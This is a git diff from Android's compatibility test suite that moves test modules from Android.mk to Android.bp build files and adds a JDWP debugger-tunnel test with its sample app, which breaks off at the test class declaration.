-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsInputMethodServiceCommon
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := EditTextApp
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
new file mode 100644
index 0000000..765fe2d
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsInputMethod1",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "CtsInputMethodServiceCommon",
+        "CtsInputMethodServiceLib",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "19",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
deleted file mode 100644
index 850b89f..0000000
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsInputMethodServiceCommon \
-    CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethod1
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
new file mode 100644
index 0000000..e8f865f
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsInputMethod2",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "CtsInputMethodServiceCommon",
+        "CtsInputMethodServiceLib",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "19",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
deleted file mode 100644
index fcd146c..0000000
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsInputMethodServiceCommon \
-    CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethod2
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.bp b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
new file mode 100644
index 0000000..cecc584
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "CtsInputMethodServiceLib",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "CtsInputMethodServiceCommon",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
deleted file mode 100644
index 9a99bdc..0000000
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.annotation_annotation \
-    CtsInputMethodServiceCommon
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsInputMethodServiceLib
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.bp b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
new file mode 100644
index 0000000..1f6a7d4
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsInputMethodServiceEventProvider",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "CtsInputMethodServiceCommon",
+        "CtsInputMethodServiceLib",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "19",
+
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
deleted file mode 100644
index b8f308d..0000000
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsInputMethodServiceCommon \
-    CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/hostside/Android.bp b/hostsidetests/inputmethodservice/hostside/Android.bp
new file mode 100644
index 0000000..5e99fdf
--- /dev/null
+++ b/hostsidetests/inputmethodservice/hostside/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsInputMethodServiceHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed",
+    ],
+    static_libs: ["cts-inputmethodservice-common-host"],
+}
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
deleted file mode 100644
index 2cfca0e..0000000
--- a/hostsidetests/inputmethodservice/hostside/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MODULE := CtsInputMethodServiceHostTestCases
-
-LOCAL_JAVA_LIBRARIES := \
-    compatibility-host-util \
-    cts-tradefed \
-    tradefed
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-inputmethodservice-common-host
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jdwpsecurity/Android.bp b/hostsidetests/jdwpsecurity/Android.bp
new file mode 100644
index 0000000..8e99529
--- /dev/null
+++ b/hostsidetests/jdwpsecurity/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJdwpSecurityHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJdwpApp"],
+}
diff --git a/hostsidetests/jdwpsecurity/Android.mk b/hostsidetests/jdwpsecurity/Android.mk
deleted file mode 100644
index c740f61..0000000
--- a/hostsidetests/jdwpsecurity/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsJdwpSecurityHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CTS_TEST_PACKAGE := android.host.jdwpsecurity
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jdwpsecurity/AndroidTest.xml b/hostsidetests/jdwpsecurity/AndroidTest.xml
index f062508..6d6db7c 100644
--- a/hostsidetests/jdwpsecurity/AndroidTest.xml
+++ b/hostsidetests/jdwpsecurity/AndroidTest.xml
@@ -15,6 +15,8 @@
 -->
 <configuration description="Config for the CTS JDWP host test cases">
     <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJdwpSecurityHostTestCases.jar" />
diff --git a/hostsidetests/jdwpsecurity/OWNERS b/hostsidetests/jdwpsecurity/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/hostsidetests/jdwpsecurity/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/hostsidetests/jdwpsecurity/TEST_MAPPING b/hostsidetests/jdwpsecurity/TEST_MAPPING
new file mode 100644
index 0000000..2d29584
--- /dev/null
+++ b/hostsidetests/jdwpsecurity/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+       "name": "CtsJdwpSecurityHostTestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/hostsidetests/jdwpsecurity/app/Android.bp b/hostsidetests/jdwpsecurity/app/Android.bp
new file mode 100644
index 0000000..93761b6
--- /dev/null
+++ b/hostsidetests/jdwpsecurity/app/Android.bp
@@ -0,0 +1,18 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "CtsJdwpApp",
+    srcs: ["**/*.java"],
+}
diff --git a/hostsidetests/jdwpsecurity/app/Android.mk b/hostsidetests/jdwpsecurity/app/Android.mk
deleted file mode 100644
index e1523ab..0000000
--- a/hostsidetests/jdwpsecurity/app/Android.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE := CtsJdwpApp
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_JAVA_LIBRARY)
diff --git a/hostsidetests/jdwptunnel/Android.bp b/hostsidetests/jdwptunnel/Android.bp
new file mode 100644
index 0000000..fbc18fa
--- /dev/null
+++ b/hostsidetests/jdwptunnel/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJdwpTunnelHostTestCases",
+    defaults: ["cts_defaults"],
+
+    srcs: ["src/**/*.java"],
+
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "jdi-support",
+    ],
+
+    data: [
+        // Include the JDI classes in the testcases directory.
+        ":jdi-support",
+        ":CtsJdwpTunnelSampleApp",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    // LOCAL_CTS_TEST_PACKAGE := android.host.jdwptunnel
+}
diff --git a/hostsidetests/jdwptunnel/AndroidTest.xml b/hostsidetests/jdwptunnel/AndroidTest.xml
new file mode 100644
index 0000000..434d5ac
--- /dev/null
+++ b/hostsidetests/jdwptunnel/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS JDWP tunnel host test cases">
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="test-suite-tag" value="cts" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJdwpTunnelHostTestCases.jar" />
+        <option name="runtime-hint" value="20s" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jdwptunnel/OWNERS b/hostsidetests/jdwptunnel/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/hostsidetests/jdwptunnel/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/hostsidetests/jdwptunnel/TEST_MAPPING b/hostsidetests/jdwptunnel/TEST_MAPPING
new file mode 100644
index 0000000..a6ea9f7
--- /dev/null
+++ b/hostsidetests/jdwptunnel/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+       "name": "CtsJdwpTunnelHostTestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/hostsidetests/jdwptunnel/sampleapp/Android.bp b/hostsidetests/jdwptunnel/sampleapp/Android.bp
new file mode 100644
index 0000000..0ed8655
--- /dev/null
+++ b/hostsidetests/jdwptunnel/sampleapp/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJdwpTunnelSampleApp",
+
+    dex_preopt: {
+        enabled: false,
+    },
+
+    optimize: {
+        enabled: false,
+    },
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "current",
+
+}
diff --git a/hostsidetests/jdwptunnel/sampleapp/AndroidManifest.xml b/hostsidetests/jdwptunnel/sampleapp/AndroidManifest.xml
new file mode 100755
index 0000000..67dd17d
--- /dev/null
+++ b/hostsidetests/jdwptunnel/sampleapp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jdwptunnel.sampleapp">
+
+    <application android:debuggable="true">
+        <activity android:name=".SampleDeviceActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
+
diff --git a/hostsidetests/jdwptunnel/sampleapp/res/layout/sample_layout.xml b/hostsidetests/jdwptunnel/sampleapp/res/layout/sample_layout.xml
new file mode 100644
index 0000000..f4adcf3
--- /dev/null
+++ b/hostsidetests/jdwptunnel/sampleapp/res/layout/sample_layout.xml
@@ -0,0 +1,19 @@
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+</RelativeLayout>
diff --git a/hostsidetests/jdwptunnel/sampleapp/src/android/jdwptunnel/sampleapp/SampleDeviceActivity.java b/hostsidetests/jdwptunnel/sampleapp/src/android/jdwptunnel/sampleapp/SampleDeviceActivity.java
new file mode 100644
index 0000000..ff3142d
--- /dev/null
+++ b/hostsidetests/jdwptunnel/sampleapp/src/android/jdwptunnel/sampleapp/SampleDeviceActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jdwptunnel.sampleapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A simple activity which does nothing.
+ *
+ * <p>This serves as a simple target application/activity to attach a debugger to.
+ */
+public final class SampleDeviceActivity extends Activity {
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.sample_layout);
+    }
+}
diff --git a/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java b/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java
new file mode 100644
index 0000000..518a1c5
--- /dev/null
+++ b/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jdwptunnel.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import com.sun.jdi.Bootstrap;
+import com.sun.jdi.ReferenceType;
+import com.sun.jdi.VirtualMachine;
+import com.sun.jdi.VirtualMachineManager;
+import com.sun.jdi.connect.AttachingConnector;
+import com.sun.jdi.connect.Connector;
+import com.sun.jdi.event.ClassPrepareEvent;
+import com.sun.jdi.request.BreakpointRequest;
+import com.sun.jdi.request.ClassPrepareRequest;
+import com.sun.jdi.request.EventRequest;
+import com.sun.jdi.request.EventRequestManager;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.Instant;
+import java.util.Map;
+
+/**
+ * Host-side tests for setting up a JDWP connection to an app.
+ *
+ * <p>This test ensures that it is possible to attach a debugger to an app using 'adb' and perform
+ * at least some basic debugging actions.
+ *
+ * <p>The {@link SampleDeviceActivity} is the activity we are debugging.
+ *
+ * <p>We will start that activity with 'wait-for-debugger', set a breakpoint on the first line of
+ * the {@code onCreate} method and wait for the breakpoint to be hit.
+ *
+ * <p>Run with: atest CtsJdwpTunnelHostTestCases
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class JdwpTunnelTest extends BaseHostJUnit4Test {
